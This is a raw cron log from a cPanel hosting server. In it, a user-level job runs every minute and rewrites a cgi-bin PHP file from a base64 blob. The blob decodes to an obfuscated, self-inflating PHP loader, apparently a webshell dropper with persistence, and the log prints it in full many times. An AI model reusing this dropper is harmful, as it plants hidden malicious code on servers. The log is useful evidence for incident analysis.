Aug 31 17:38:01 server CROND[13992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:38:01 server CROND[13993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:38:01 server CROND[13991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:39:02 server CROND[14163]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 17:39:02 server CROND[14165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:39:02 server CROND[14164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:39:02 server CROND[14166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:40:01 server CROND[14409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:40:01 server CROND[14411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:40:01 server CROND[14414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:40:01 server CROND[14417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:40:01 server CROND[14416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:40:01 server CROND[14412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:40:01 server CROND[14418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:40:01 server CROND[14413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:41:01 server CROND[15004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:41:01 server CROND[15006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:41:01 server CROND[15005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:42:01 server CROND[15147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:42:01 server CROND[15148]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:42:01 server CROND[15149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:42:01 server CROND[15150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:43:01 server CROND[15278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:43:01 server CROND[15279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:43:01 server CROND[15280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:44:01 server CROND[15416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:44:01 server CROND[15415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:44:01 server CROND[15417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:45:01 server CROND[15655]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:45:01 server CROND[15656]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:45:01 server CROND[15657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:45:01 server CROND[15660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:45:01 server CROND[15662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:45:01 server CROND[15663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:45:01 server CROND[15661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:46:01 server CROND[16370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:46:01 server CROND[16371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:46:01 server CROND[16372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:47:01 server CROND[16747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:47:01 server CROND[16748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:47:01 server CROND[16749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:48:01 server CROND[17134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:48:01 server CROND[17136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:48:01 server CROND[17135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:49:01 server CROND[17510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:49:01 server CROND[17511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:49:01 server CROND[17512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:50:01 server CROND[17986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:50:02 server CROND[17987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:50:02 server CROND[17988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:50:02 server CROND[17993]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
